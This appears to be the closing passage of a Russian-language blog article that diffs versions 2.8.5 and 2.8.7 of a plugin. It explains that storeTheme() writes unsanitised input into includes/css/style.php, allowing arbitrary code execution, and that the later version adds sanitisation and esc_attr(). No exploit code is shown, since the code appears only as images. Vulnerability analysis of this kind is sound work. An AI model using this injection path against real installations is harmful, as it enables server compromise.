    <img src="https://telegra.ph/file/48cb2247867f8dfd77b5c.png" width="1276" />
  </figure>
  <h3 id="Почему?">Почему?</h3>
  <p id="UcG7">Для простоты я диффал версии <em>2.8.5</em> и <em>2.8.7</em>.</p>
  <h4 id="2.8.5">2.8.5</h4>
  <p id="w3uV">Итак, в версии <em>2.8.5</em> в файле <em>/modules/themes/controller.php</em> есть функция <em>savetheme()</em>:</p>
  <figure id="0UEP" class="m_column">
    <img src="https://telegra.ph/file/be23e245d86be938b3a28.png" width="1262" />
  </figure>
  <p id="vUjt">Как видим, она вызывает функцию <em>storeTheme()</em> из файла <em>model.php</em> в той же директории, <em>storeTheme()</em> представляет собой следующее:</p>
  <figure id="h3wq" class="m_column">
    <img src="https://telegra.ph/file/69fc984406e136620f380.png" width="2224" />
  </figure>
  <p id="AWaT">То есть, фактически, она забирает сырые данные, никак их не проверяя, и кладёт их в <em>includes/css/style.php</em>, за счёт чего, мы получаем в нём примерно следующее:</p>
  <figure id="5iit" class="m_column">
    <img src="https://telegra.ph/file/20ba79a2ecae4a9550efa.png" width="618" />
  </figure>
  <p id="LVJ0">что и позволяет нам выполнить произвольный код.</p>
  <p id="Y8eK">Ещё там есть функция <em>getCurrentTheme()</em>, которая отвечает за подгрузку данных уже имеющейся теме, которая тоже просто дёргает сырые данные из файла при каждом обращении к плагину:</p>
  <figure id="yhVj" class="m_column">
    <img src="https://telegra.ph/file/dbb2b4dd307cfe9a79dec.png" width="1668" />
  </figure>
  <h4 id="2.8.7">2.8.7</h4>
  <p id="5BOt">В <em>storeTheme()</em> просто добавили санитизацию...</p>
  <figure id="He4E" class="m_column">
    <img src="https://telegra.ph/file/3b17b4b629580a852b1fc.png" width="2256" />
  </figure>
  <p id="FqOL">Ну и значения, получаемые через <em>getCurrentTheme()</em> дополнительно обернули в <em>esc_attr()</em>.</p>
  <p id="il9Q">Статья написана для: <a href="https://t.me/iamargendo" target="_blank">@iamargendo</a></p>

]]></content:encoded></item></channel></rss>